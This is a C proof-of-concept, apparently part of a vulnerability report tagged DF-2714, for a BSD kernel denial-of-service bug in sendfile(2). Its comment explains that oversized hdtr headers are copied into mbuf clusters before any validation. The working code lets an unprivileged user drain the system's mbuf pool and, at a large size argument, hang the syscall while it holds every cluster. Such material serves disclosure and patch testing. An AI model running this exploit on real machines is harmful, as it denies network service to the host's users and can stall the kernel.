DF-2714 / sendfile_hdtr_dos.c
/* * DF-2714 - sendfile(2) hdtr headers are marshalled into mbufs with no * kernel-memory bound before any socket accounting or validation. * * sys_sendfile() (sys/kern/uipc_syscalls.c:1617-1642) calls m_uiomove() * on the hdtr header iovec BEFORE kern_sendfile() runs any check. The * header total can be up to SSIZE_MAX-1 (iovec_copyin only rejects * overflow), so an unprivileged user forces the kernel to allocate an * attacker-chosen number of mbuf clusters (M_WAITOK) while the syscall * runs - bounded only by the global mbuf pool / system RAM. sosend() * self-throttles on ssb_space(); sendfile headers do not. * * argv[1] = header size in MB (default 48 - below the guest's * 33296 x 2KB ~ 65MB cluster pool, so the call returns) * A size larger than the pool makes the syscall sleep * uninterruptibly while holding every mbuf cluster. * * Note the socket argument is a plain, unconnected UDP socket: header * marshalling happens before kern_sendfile() ever validates the socket, * and the sendfile fd is just /etc/passwd opened O_RDONLY. */ #include <sys/param.h> #include <sys/socket.h> #include <sys/uio.h> #include <netinet/in.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { size_t mb = argc > 1 ? (size_t)atol(argv[1]) : 48; size_t len = mb << 20; void *map; struct sf_hdtr hdtr; struct iovec iov; off_t sbytes; int fd, s, rc; map = malloc(len); if (map == NULL) err(1, "malloc %zu", len); memset(map, 0x5a, len); /* fault the pages in */ fd = open("/etc/passwd", O_RDONLY); if (fd < 0) err(1, "open"); s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) err(1, "socket"); iov.iov_base = map; iov.iov_len = len; hdtr.headers = &iov; hdtr.hdr_cnt = 1; hdtr.trailers = NULL; hdtr.trl_cnt = 0; printf("sendfile: fd=%d s=%d header=%zu MB ...\n", fd, s, mb); fflush(stdout); rc = sendfile(fd, s, 0, 0, &hdtr, &sbytes, 0); printf("sendfile returned rc=%d errno=%d (%s) sbytes=%lld\n", rc, errno, strerror(errno), (long long)sbytes); return 0; } |